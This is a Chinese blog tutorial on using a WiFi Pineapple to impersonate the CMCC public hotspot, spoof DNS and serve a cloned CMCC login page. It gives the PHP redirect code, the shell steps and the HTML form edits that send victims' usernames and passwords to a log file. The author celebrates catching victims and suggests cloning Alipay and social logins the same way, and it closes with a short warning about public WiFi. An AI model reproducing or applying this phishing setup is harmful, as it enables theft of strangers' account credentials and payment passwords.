玩转WiFi Pineapple之看我如何优雅的盗取CMCC账号
感谢趋势科技的欣姐给我寄了一个Pineapple,于是就自己摸索开始玩了起来,国内pineapple的资料不太多,于是去国外论坛去逛逛,渣渣英语不好看着甚是不舒服,算了自己来鼓捣吧。
准备:
WiFi Pineapple Mark IV 一个
网线一根 PuTTY:远程登录到pineapple的工具 WinSCP:用于拷贝文件到pineapple中
目的:
其他pineapple的玩法论坛早已经有大牛发过文章,有兴趣的童鞋自己去找一下。
今天我给大家分享的是DNS劫持,和利用DNS+克隆登录界面劫持盗取cmcc账号,这只其中的一种玩法,可以同理去克隆一个支付宝登录界面和其他社交账号神马的。
过程:
开始吧,首先配置pineapple:web UI登录地址http://172.16.42.1:1471
用户名:root 密码:pineapplesareyummy
登录后改一下默认密码,不然被人发现反被暴菊就不好玩了,当然默认端口也可以改登录以后我们可以看到pineapple的UI界面我们今天所用到的是services栏目里的DNS Spoof功能,DNSSpoof作为Dsniff工具包的其中一个程序,可以用来作为DNS欺骗之用,使得访问WiFiPineApple的用户可以访问你重新设置DNS,默认是关闭的,点击start打开。
下一步我们配置pineapple,选择上面栏的Configuration 选项,然后修改pineapple的SSID在这里我们因环境而变如果再学校可以改为CMCC,在麦当劳可以改为McDonald's 其他环境可以改为FREEWIFI等。改后点击change SSID 默认是临时的,如果想重启后还可以继续使用的话就选中Persistent选项框。然后到最关键的一步,设置DNS Spoof Config那里将example.com 改为要欺骗的网址,我这里设置百度,因为好多人默认首页就是百度,也可以改为其他。然后Updata Spoofhost,pineapple配置完成。
下一步我们来配置pineapple内的文件,PuTTY连接上pineapple,ip是172.16.42.1,账号密码如果没有改的话就是默认登录那个连接上后首先(一下过程给没有linux基础的童鞋看,大牛略过)
pw
cd ../ls
cd www
vim redirect.php
<?php
$ref = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if (strpos($ref, "example")){
header('Status: 302 Found');
header('Location: example.html');
}
require('error.php');
?>
将example 改为baidu 将example.html改为baidu.html,然后保存退出(不会vim的自己百度一下)
cd ../mkdir web
cd web
touch baidu.html
vim baidu.html
html里的内容就可以自由发挥啦。修改后保存退出,创建一个虚拟连接
cd ../cd www
ln -s /web/* /www/
ls -al
然后就可以开始DNSspoof啦,当别人连接如你伪造的免费wifi热点时,打开百度的效果如下:
下面开始我们的邪恶计划,盗取cmcc账号,其实你只要上面的可以弄对,那么下面的也差不多是一样的。首先用电脑连接cmcc,然后打开浏览器等到跳出登陆界面时,在浏览器中将网页文件保存,保存后得到一个cmcc.html和一个cmcc_file的文件夹其实最主要的是input.html那个文件夹,只要对源码稍加改造就ok啦。我们将cmcc_file文件用WinSCP上传到pineapple的web文件夹中然后按照上面的步骤修改redirect.php 改为input.html ,之后我们对input.html进行改造,找到关键的地方。
<FORM name="staticlogin" id="staticloginid" onsubmit="return checkField(this)"
action="error.php" method="post">
<DIV>
<DIV class="loginlinput">
<DIV class="loginlt">用户名</DIV>
<DIV class="linput"><INPUT name="name" class="linputb" id="staticusernameid"
type="text" maxlength="20" value="15111401355"></DIV></DIV>
<DIV class="loginlinput">
<DIV class="loginlt">密 码</DIV>
<DIV class="linput">
<INPUT name="pass" class="linputb" id="spid" type="text" value="输入固定密码/动态密码">
<INPUT name="pass" class="linputb" id="staticpasswordid" style="display: none;" type="password" maxlength="16">
</DIV>
<DIV class="lostpassword">
<!-- <a href="javascript:void(0)" id="lostpassword" onclick="modify_passwd()">忘记密码?</a>-->
<A id="applyautopwd" onclick="apply_autopwd()" href="javascript:void(0)">获取动态密码</A>
</DIV>
</DIV>
1.将<FORM name="staticlogin" id="staticloginid" onsubmit="return checkField(this)" action="error.php" method="post">里的action=""改为action="error.php"
2.将用户名下面的<INPUT name="name" class="linputb" id="staticusernameid" type="text" maxlength="20" value="15111401355"> 中的name=""改为name="name"
3.将用户名下面的<INPUT name="pass" class="linputb" id="spid" type="text" value="输入固定密码/动态密码">里的 name=" "改为name="pass"
保存后就可以欺骗了,效果如下:
只要登录以后账号密码就会被记录到/pineapple/logs/phish.log中,当然也可以在web界面上面栏目中的logs中。
才一会就有鱼儿上钩了,其他账号的盗取同理,大家自由发挥吧。
后记:
现在大家部分人对免费的wifi有一一定的警惕性,但是类似于CMCC这种移动的热点大家就会放松警惕,假如我再发挥一下在pineapple载一个3G网卡,就完全可以欺骗你,当你以为连接上了CMCC放心的购物时,你的支付宝密码就在不知不觉中不见鸟,所以别人的wifi慎用就是是CMCC,支付时候最好切换gprs流量吧。
文章中有不准确的地方请给我提出,谢谢给位。
博客地址:www.azone.asia
微博 求互粉 O(∩_∩)O~
- 如何把Photoshop改造成远程控制工具(RAT)来利用
- Office高级威胁漏洞在野利用分析
- 10行代码告诉你,为什么说Python数据可视化是一件艺术品
- 没想到你是这样的Linux | 终端下有趣的命令合集
- PhEmail:基于Python的开源网络钓鱼测试工具
- 数据库中间件mysql-proxy细节【mysql官方的中间件】
- Office CVE-2017-8570远程代码执行漏洞复现
- Java 并发包中的读写锁及其实现分析
- 深入理解 Spring 事务原理
- Chrome开发者工具的小技巧
- Java Web中JSP中6种动作概况知识点总结——每日一语法学习
- 从Flash到Silverlight进阶教程-用代码来创建动画
- 从Flash到Silverlight进阶教程-Tweener
- silverlight设置浏览器Cookies
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 解决了一个 Python Type Hints 的问题,分享一下
- Elasticsearch:flattened 数据类型 (7.3 发行版新功能)
- Android开发准确获取手机IP地址的两种方式
- Android网络请求-sign参数的设置方式
- Android使用自定义View实现横行时间轴效果
- Android Studio debug.keystore位置介绍
- Android 实现长按弹出PopupMenu 菜单栏
- Android开发获取手机Mac地址适配所有Android版本
- Android AIDL实现与服务相互调用方式
- Android获取超级管理员权限的实现
- Android Studio编写AIDL文件后如何实现自动编译生成
- Android 实现永久性开启adb 的root权限
- 使用Android Studio实现为系统级的app签名
- Android开发实现控件双击事件的监听接口封装类
- Android普通应用升级为系统应用并获取系统权限的操作